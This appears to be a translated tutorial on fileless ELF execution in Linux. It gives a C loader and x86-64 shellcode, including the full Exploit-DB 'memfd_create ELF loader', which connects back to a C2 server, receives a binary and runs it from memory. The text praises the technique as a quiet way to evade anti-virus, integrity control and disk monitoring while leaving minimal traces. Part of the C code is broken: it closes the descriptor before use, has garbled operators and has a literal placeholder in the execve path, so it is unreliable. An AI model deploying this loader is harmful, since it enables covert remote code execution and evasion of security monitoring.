Using C language to complete the above tasks in a Linux environment requires the following steps:
- Read ELF data from socket
- Map ELF data into memory
- Use memfd_create() to create a file descriptor and write ELF data to the created file descriptor
- Use execve() to execute ELF data from /proc/self/fd/
Here is a simple example code that covers the above steps:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <elf.h> #include <linux/memfd.h> #include <unistd.h> #define SIZE 4096 int main() {<!-- --> int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock == -1) {<!-- --> printf("Could not create socket"); return 1; } struct sockaddr_in server; server.sin_addr.s_addr = inet_addr("127.0.0.1"); // replace with your server IP address server.sin_family = AF_INET; server.sin_port = htons(8080); // replace with your server port number if (connect(sock, (struct sockaddr *) & amp;server, sizeof(server)) < 0) {<!-- --> perror("connect failed. Error"); return 1; } char buffer[SIZE]; int total_read = 0; int read_size; while ((read_size = read(sock, buffer + total_read, SIZE - total_read)) > 0) {<!-- --> total_read + = read_size; } if (total_read <= 0) {<!-- --> perror("read failed. Error"); return 1; } int fd = memfd_create("elf_data", MFD_CLOEXEC | MFD_ALLOW_SEALING); if (fd == -1) {<!-- --> perror("memfd_create failed. Error"); return 1; } if (write(fd, buffer, total_read) != total_read) {<!-- --> perror("write failed. Error"); return 1; } if (ftruncate(fd, total_read) == -1) {<!-- --> perror("ftruncate failed. Error"); return 1; } close(fd); void* addr = mmap(NULL, total_read, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0); if (addr == MAP_FAILED) {<!-- --> perror("mmap failed. Error"); return 1; } close(fd); char* args[] = {<!-- -->(char*)addr, NULL}; // Assume the ELF data is a program that takes no arguments. Adjust as needed. execve("/proc/self/fd/<fd>", args, NULL); // Replace <fd> with the actual file descriptor number. It should be the same as 'fd' in this example. But better to use the actual fd number for robustness. perror("execve failed. Error"); // This should only be reached if execve() returns an error. In that case, you might want to munmap() the memory and exit(). munmap(addr, total_read); // Unmap the memory if execve() fails. return 0; // Control should never reach here if execve() is successful. }
This code example does the following:
- Create a socket and connect to the server. In this example, we assume that the server is running locally (IP address 127.0.0.1) and listening on port 8080. In actual application, you need to replace it with the actual IP address and port number of your server. If the connection fails, the program will print an error message and return 1.
- Read ELF data from socket. It is assumed here that ELF data is transmitted in 4096-byte blocks, and this value can be adjusted according to the actual situation. At the same time, this example does not deal with the integrity and verification of ELF data. In actual applications, data integrity needs to be ensured. If the read fails, the program will print an error message and return 1.
- Use memfd_create() to create a file descriptor and write the read ELF data to this file descriptor. Then use ftruncate() to set the file size. It is assumed here that ELF
- Use mmap() to map ELF data into memory. It is assumed here that the ELF data is an executable file and no parameters need to be passed in. If the ELF data is a complex program or script, a more complex execution strategy may be required. Then use execve() to execute ELF data from /proc/self/fd/. Note that you need to replace it with the actual file descriptor number, for example 10. After successful execution, the program should return 0 and return control to the operating system.
Next translated into shellcode:
The first step is to set up a socket for further communication:
push 0x29 pop rax cdq push 0x2 pop rdi push 0x1 pop rsi syscall
Then connect to our server:
xchg rdi, rax movabs rcx, C2_addr pushrcx mov rsi, rsp push 0x10 pop rdx push 0x2a pop rax syscall
memfd_create system call:
xor rax, rax push rax push rsp sub rsp, 8 mov rdi, rsp push 0x13f pop rax xor rsi, rsi syscall
Connect /proc/self/fd/ to our file descriptor
add rsp, 16 mov qword ptr [rsp], 0x6f72702f mov qword ptr [rsp + 4], 0x65732f63 mov qword ptr [rsp + 8], 0x662f666c mov qword ptr [rsp + 12], 0x002f64
Use execve to execute our file descriptor:
lea rdi, [rsp] push 0x3b pop rax cdq push rdx push rdi mov rsi, rsp syscall
Fileless loading of ELF files in Linux is a useful technique when conducting penetration testing. This is a fairly quiet way to protect against various anti-virus protections, control system integrity, and surveillance systems that monitor hard drives for content changes. This way, access targets can easily maintain the system, leaving minimal traces.
The complete shellcode is as follows:
Original address: https://www.exploit-db.com/shellcodes/51693
# Shellcode Title: Linux/x64 - memfd_create ELF loader (170 bytes) # Shellcode Author: Ivan Nikolsky (enty8080) & Tomas Globis (tomasglgg) # Tested on: Linux (x86_64) # Shellcode Description: This shellcode attempts to establish reverse TCP connection, reads ELF length, reads ELF and maps it into the memory, creates memory file descriptor, writes loaded ELF to it and executes. This shellcode can be used for fileless ELF execution, because no data is written to disk # Blog post: https://blog.entysec.com/2023-04-02-remote-elf-loading/ # Original code: https://github.com/EntySec/Pawn section.text global_start _start: ; Set up socket for further communication with C2 ; ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); push 0x29 pop rax cdq push 0x2 pop rdi push 0x1 pop rsi syscall ; Connect to the C2 server ; ; int connect(int sockfd, {<!-- --> ; sa_family=AF_INET, ; sin_port=htons(8888), ; sin_addr=inet_addr("127.0.0.1") ; }, 16); xchg rdi, rax mov rcx, 0x0100007fb8220002 pushrcx mov rsi, rsp push 0x10 pop rdx push 0x2a pop rax syscall ; Read ELF length from socket ; ; read(unsigned int fd, char *buf, 8); pop rcx push 0x8 pop rdx push 0x0 lea rsi, [rsp] xor rax, rax syscall ; Save length to r12 and socket descriptor to r13 pop r12 push rdi pop r13 ; Create file descriptor for ELF file ; ; int memfd_create("", 0); xor rax, rax push rax push rsp sub rsp, 8 mov rdi, rsp push 0x13f pop rax xor rsi, rsi syscall ; Save file descriptor to r14 push rax pop r14 ; Allocate memory space for ELF file ; ; void *mmap(NULL, size_t count, ; PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); push 0x9 pop rax xor rdi, rdi push r12 pop rsi push 0x7 pop rdx xor r9, r9 push 0x22 pop r10 syscall ; Save address to the allocated memory space to r15 push rax pop r15 ; Read ELF file from socket ; ; recvfrom(int sockfd, void *buf, size_t count, MSG_WAITALL, NULL, 0); push 0x2d pop rax push r13 pop rdi push r15 pop rsi push r12 pop rdx push 0x100 pop r10 syscall ; Write read ELF file data to the file descriptor ; ; size_t write(unsigned int fd, const char *buf, size_t count); push 0x1 pop rax push r14 pop rdi push r12 pop rdx syscall ; Execute ELF from file descriptor ; ; int execveat(int dfd, const char *filename, ; const char *const *argv, ; const char *const *envp, ; int flags); push 0x142 pop rax push r14 pop rdi push rsp sub rsp, 8 mov rsi, rsp xor r10, r10 xor rdx, rdx push 0x1000 pop r8 syscall